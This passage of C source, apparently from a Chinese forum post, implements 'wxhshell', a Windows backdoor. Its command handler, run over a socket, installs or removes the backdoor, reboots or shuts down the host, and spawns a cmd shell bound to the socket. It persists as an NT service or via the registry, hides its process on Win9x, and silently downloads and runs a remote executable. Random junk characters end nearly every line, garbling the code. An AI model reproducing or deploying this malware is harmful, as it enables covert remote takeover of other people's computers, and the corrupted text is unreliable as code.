  else { =~s+<9c]  
{'alA  
    switch(cmd[0]) { G9&2s%lu.e  
  ~%lUzabMa  
  // 帮助 /IcGJ&;  
  case '?': { 1z|bQ,5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OL_#Uu  
    break; /7#MJH5b6  
  } XD8Cf!  
  // 安装 z-3.%P2g  
  case 'i': { tvn o3"  
    if(Install()) E el*P M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@Q/P(t  
    else 6 o   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RU#}!Kq  
    break; VJ h]j (  
    } Bi9Q8#lh  
  // 卸载 `3? HQ2n  
  case 'r': { wIAH,3!  
    if(Uninstall()) _ pz}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8aWEl%  
    else EV{Ys}3M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Y2~HuM  
    break; T#3@r0M  
    } a= j'G]=  
  // 显示 wxhshell 所在路径 =iKl<CqI$E  
  case 'p': { 9!uiQ  
    char svExeFile[MAX_PATH];  =s4(Y  
    strcpy(svExeFile,"\n\r"); \298SH(!7  
      strcat(svExeFile,ExeFile); "t.` /4R2w  
        send(wsh,svExeFile,strlen(svExeFile),0); < z2wt  
    break; %Rn*oV  
    } 0Z6geBMc  
  // 重启 )'U0n`=  
  case 'b': { I6f/+;E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \/Mx|7<  
    if(Boot(REBOOT)) vsj4? 0=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pCh v;  
    else { *|dr-e_j  
    closesocket(wsh); `nl n@ ;  
    ExitThread(0); W/ Q*NB  
    } PT6]qS'1  
    break; |M?vFF]TN  
    } _5-h\RB)  
  // 关机 =otO@22Np  
  case 'd': { *$<W"@%^J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a9.yuSzL  
    if(Boot(SHUTDOWN)) ;[Mvk6^'R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9VnBNuT  
    else { ^'V :T Y  
    closesocket(wsh); VX$WL"A  
    ExitThread(0); u##th8h4U  
    } T^1 Z_|A  
    break; 8#7qHT;cx  
    } + t5SrO!`  
  // 获取shell Tf86CH=)5  
  case 's': { pZ.b X  
    CmdShell(wsh); gQ>kDl^$Ls  
    closesocket(wsh); HYfGu1j?X  
    ExitThread(0);  m[B#k$  
    break; @vt.Db  
  } 9RJF  
  // 退出 h)HEexyRg  
  case 'x': { Kgu8E:nL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vb (b3  
    CloseIt(wsh); +P2oQ_Fk`9  
    break; P0n1I7|  
    } G@k]rwub  
  // 离开 DW. w=L|5R  
  case 'q': { S<"Fp1#"l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zsg\|=P  
    closesocket(wsh); R c+olJ^5  
    WSACleanup(); <e2l@@#oy  
    exit(1); $^ws#}j  
    break; Q7_5  
        } SO$Af!S:bB  
  } !ZYPz}&N_  
  } b6N[t _,  
E~%n-A  
  // 提示信息 6:ettdj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -]Z7^  
} Muo E~K2  
  } dHc\M|HCC  
e&}W#  
  return; h'y%TOob  
} heVk CM :  
D=0YLQ*rP  
// shell模块句柄 EwC]%BZP  
int CmdShell(SOCKET sock)  `q?3ux  
{ {&=+lr_h?  
STARTUPINFO si; 'C1lP)S5  
ZeroMemory(&si,sizeof(si)); iW5cEI%tb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  LR97FG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jo5Bmh0  
PROCESS_INFORMATION ProcessInfo; gP2zDI   
char cmdline[]="cmd"; 3UZd_?JI[^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K*/oWYM]  
  return 0; [,o:nry'a  
} 2q~ .,vpP  
u<-)C)z  
// 自身启动模式 |P >"a`  
int StartFromService(void) e\%,\ uV}  
{ +fP.Ewi  
typedef struct "q=Cye  
{ #Rw!a#CX.  
  DWORD ExitStatus; QAs)zl0  
  DWORD PebBaseAddress; [wGj?M}  
  DWORD AffinityMask; \ruQx)5M  
  DWORD BasePriority; 1m*)MZ)  
  ULONG UniqueProcessId; vqm|D&HU  
  ULONG InheritedFromUniqueProcessId; $ev+0m_  
}   PROCESS_BASIC_INFORMATION; 8A>OQR  
L;Ff(0x|  
PROCNTQSIP NtQueryInformationProcess; qSY\a\.<  
[:8\F#KW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; orGMzC2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9\Ii$Mp  
eZ'8JU]  
  HANDLE             hProcess; M\]lNQA  
  PROCESS_BASIC_INFORMATION pbi; b>ai"!  
5vx 4F f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R"B{IWQi  
  if(NULL == hInst ) return 0; aU!}j'5Q  
I\l&'Q^0@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uo"<}>iJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z"`w>c.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jPWONz(#  
AyE*1 FD  
  if (!NtQueryInformationProcess) return 0; yXNr[ 7  
VGS%U8;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]s\r3I]  
  if(!hProcess) return 0; yGa0/o18!?  
"qmSwdM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K~L&Z?~|E  
7`|'Om?'  
  CloseHandle(hProcess); |Z:yd}d  
>Pw5! i\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YVIE v  
if(hProcess==NULL) return 0; DyC*nE;  
+( LH!\{^  
HMODULE hMod; #-L0.z(  
char procName[255]; &~:EmLgv  
unsigned long cbNeeded; de:@/-|  
f"Sp.'@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0#V"   
be+-p  
  CloseHandle(hProcess); 6#z8 %k aX  
6 H|SiO9  
if(strstr(procName,"services")) return 1; // 以服务启动 v "l).G?  
u?,>yf.;s  
  return 0; // 注册表启动 6z\!lOVjb  
} a 0SZw  
v5[gFY(?  
// 主模块 Vn#}f=u\  
int StartWxhshell(LPSTR lpCmdLine) Ed=/w6<  
{ +hRy{Ps/  
  SOCKET wsl;  2E*=EjGV  
BOOL val=TRUE; +SFFwjI  
  int port=0; EQyX!  
  struct sockaddr_in door; )1At/mr  
Wl| i$L)7  
  if(wscfg.ws_autoins) Install(); }a"=K%b<\  
o/-RGLzAo  
port=atoi(lpCmdLine); u62H+'k}F  
xp|1yud  
if(port<=0) port=wscfg.ws_port; gC$_yd6m L  
@b(@`yz.a  
  WSADATA data; DOWWG!mx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gS FZ>v*6  
!oH{=.w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?o(284sV3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =%` s-[5b  
  door.sin_family = AF_INET; H9WYt#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YP,,vcut  
  door.sin_port = htons(port); ^\PRz Y  
kn:hxdZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7;Ze>"W>  
closesocket(wsl); |X@s {?  
return 1; 7rD 8  
} i ;B^I8  
_|e&zr  
  if(listen(wsl,2) == INVALID_SOCKET) { 3P!OP{`  
closesocket(wsl); (Z<@dkO?)  
return 1; 3$"V,_TBZ  
} }[leUYi`  
  Wxhshell(wsl); |47t+[b   
  WSACleanup(); I'xc$f_+  
4A+g-{d  
return 0; *Xnf}Ozx  
y],op G6  
} ]s Euh~F  
A\?t^T  
// 以NT服务方式启动 UG\2wH_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'A|c\sy  
{ !,ODczWvh  
DWORD   status = 0; |ufT)+:  
  DWORD   specificError = 0xfffffff; }@LIb<Y  
y)KIz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OGcdv{ ,P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E 14DZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~ 6=6YP  
  serviceStatus.dwWin32ExitCode     = 0; MR|A_e^x  
  serviceStatus.dwServiceSpecificExitCode = 0; dWzf C@]  
  serviceStatus.dwCheckPoint       = 0; H, 3Bf  
  serviceStatus.dwWaitHint       = 0; ,R=!ts[qi  
P, ZQ*Ju  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ajkV"~w',|  
  if (hServiceStatusHandle==0) return; G1it 3^*$  
1PxRj  
status = GetLastError(); W/A@qo"  
  if (status!=NO_ERROR) Pg.JI:>2Ku  
{ CnuM=S:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ] K&ca  
    serviceStatus.dwCheckPoint       = 0; ;Mq'+4$  
    serviceStatus.dwWaitHint       = 0; 8p829  
    serviceStatus.dwWin32ExitCode     = status; =W2.Nc  
    serviceStatus.dwServiceSpecificExitCode = specificError; d_(;sW"I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *DcIC]ao[  
    return; 8Y%  
  } >"UXY)  
Q0`@=5?-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -hfDf{QN  
  serviceStatus.dwCheckPoint       = 0; B t3++ Mj  
  serviceStatus.dwWaitHint       = 0; ug{sQyLN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [Y@}{[q5  
} n[y=DdiKGS  
&:C[ nq  
// 处理NT服务事件,比如:启动、停止 >9XG+f66E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c='W{47  
{ Ib2&L  
switch(fdwControl) m; =S]3P*  
{ c>c3qjWY/  
case SERVICE_CONTROL_STOP: i:N-Q)<Q*)  
  serviceStatus.dwWin32ExitCode = 0; _`C|K>:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3\{acm  
  serviceStatus.dwCheckPoint   = 0; Z 9cb  
  serviceStatus.dwWaitHint     = 0; *fd:(dN|  
  { ?r]0%W^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )w}'kih  
  } S&=@Hj-  
  return; ZH=Bm^  
case SERVICE_CONTROL_PAUSE: zI"&g]TV5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (j:[<U  
  break; J7wwM'\  
case SERVICE_CONTROL_CONTINUE: r_ m|?U %  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W@GU;Nr  
  break; .0>bnw  
case SERVICE_CONTROL_INTERROGATE: W|;`R{<I%  
  break; _eQ-'")  
}; b* n#XTV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H9_>a-> )~  
} L kafB2y  
UC`sq-n  
// 标准应用程序主函数 B~Z61   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  j AoI`J  
{ "AqLR  
`{yD\qDyX  
// 获取操作系统版本 +|oLS_  
OsIsNt=GetOsVer(); e?XGv0^qu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &9Z@P[f  
R))4J  
  // 从命令行安装 ~yngH0S$[b  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zq: }SU  
W }Ll)7(|T  
  // 下载执行文件 [N*S5^>1  
if(wscfg.ws_downexe) {  OvC@E]/+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MD;,O3Ge  
  WinExec(wscfg.ws_filenam,SW_HIDE); &H,UWtU+  
} $Y$s*h_-/<  
nJgN2Z  
if(!OsIsNt) { j$u  
// 如果时win9x,隐藏进程并且设置为注册表启动 N>s3tGh  
HideProc(); \(?d2$0m  
StartWxhshell(lpCmdLine); L`:V]p  
} >)[W7h  
else 3<Z@!ft8  
  if(StartFromService()) 7k#>$sY+  
  // 以服务方式启动 ;$*tn"- ?~  
  StartServiceCtrlDispatcher(DispatchTable); 55y}t%5  
else $Zi {1w  
  // 普通方式启动 >Ir?)h  
  StartWxhshell(lpCmdLine); (t"|XSF  
Vw.4;Zy(  
return 0; FAGi`X<L  
}
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只看该作者 1 发表于: 2006-10-10
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